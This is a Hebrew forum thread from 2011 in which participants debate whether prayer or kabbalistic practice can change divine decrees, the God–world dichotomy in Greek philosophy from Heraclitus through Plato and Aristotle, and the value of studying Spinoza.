אתה שוב נכנס ומכניס לי מילים לפה.
לא דיברתי על ספירות, דיברתי על עקרון שמראה שאפשר וצריך לשנות את הנהגת השם במציאות לטובה, אם אתה מסכים עם זה דיי, הסכמת עם דברי לעיל.
העמסת הספירות על השאלה הזו לא רלוונטית.
אם אתה מודה שאפשר וצריך לשנות את גזירות השם, הרי שבענין הזה קיבלת את עמדתי. נקודה.
אפשר לפתוח דיון נוסף בנוגע להבדל אם יש בין השפעה בתפילה לבין השפעה (כביכול ?) על בסיס זיווג בין ז"א לא"א וכיו"ב. או שבעצם מדובר על שתי שמות לאותו דבר... אבל כאמור זה חורג מהטיעון שלי בהודעה הקודמת, ואת דעתי בענין לא תדע עד שנקיים את הדיון ההוא, ולכן אנא הפסק להכניס לי מילים לפה, למרות שהחשיבה הדוגמתית שלך מקשה עליך לעשות כך, ובתודה מראש.
_________________
|
|
|
|
| נשלח ב-11/5/2011 13:29 |
|
| |
תיקון למיימוני בעניין הדיכוטומיה
שלום
מיימוני כתב:
כתבתי שהרעיון של שוני בין האלוהים לעולם לא נמצא ביוון אלא אם כן אצל אריסטו. למעשה, גם זה לא מדוייק.
דומני שטעות בידו. יש הבחנה בין העולם ובין הלוגוס שבו כבר אצל הרקליטוס, אבל אפשר שלוגוס זה בכל זאת מזוהה עם אש שהיא חומרית.
על כל פנים, את השבר הגדול בין חלקי המציאות מיסד, בברור רב, אפלטון. מחד, עולם האידאות שהוא הוא עולם היש הראלי, והוא רוחני כולו מאידך העולם המתהווה שהוא חומרי ולעולם אינו יש. ומצוי גם הדמיאורגוס, האדריכל הגדול שיצר את העולם. את תפקיד הגישור מבצעת הנפש.
אריסטו טוען כי האידאות אינן קימות קיום ראלי נפרד אלא תמיד בדברים הנוטלים בהם חלק. המניע הראשון 'יוצר' את העולם במה שהוא הסיבה התכליתית של הכל. יש כאן יצירה לוגית, משום שהעולם נצחי. יש גם תפיסה אופטימית בקביעותו של העולם הזה.
רוב הבריות החזיקו בתפיסה מטריאליסטית שהיא תפיסה 'הגיונית' לאדם המשיג את המציאות הנסיונית סביבו. רס'ג מתאר את הנפש כחומר 'דק מן הדק', כך יתאר האטומיסט הרומי לוקרציוס את האלים.
רק ההולכים אחר אפלטון ואריסטו והם, תחילה, מיעוט גמור, אחזו בקיום עולם 'רוחני' נפרד.
עודד
|
|
|
|
|
| נשלח ב-11/5/2011 13:57 |
|
| |
שפינוזה והיהלום
שלום
תשובה לצענערענע.
שפינוזה אינו שייך ליהלום. בעל הנושא טען שהאוחז בקמח יהלום אינו זקוק ללבושים שעליו. השבתי לו מה שהשבתי.
הענין הזה חשוב ביותר משום הטענה המובעת כי די לבעל היהלום להתבודד בהר, לסגור את החלונות, להגיף את התריסים, ולהתעלם מכל מה שהשיגו אנשי העיר. טענה זו מציגה חולשה גדולה, פחד רב, ובמיוחד, סכנה גדולה, כיוון שבשעת הכרח תפתחנה הדלתות והשוכן בבידוד עשוי למצא עצמו בפני הרס פנימי חריף מאד.
שפינוזה מציג תמונת עולם מעניינת מאד. גם אם לא מסכימים איתה, יש בה חיות רבה [למרות המבנה ה'קר' של הכתיבה], יופי גדול שגב רב ומחשבות עמוקות ומועילות מאד על האדם, ראוי מאד להכיר השקפתו.
עודד
|
|
|
|
|
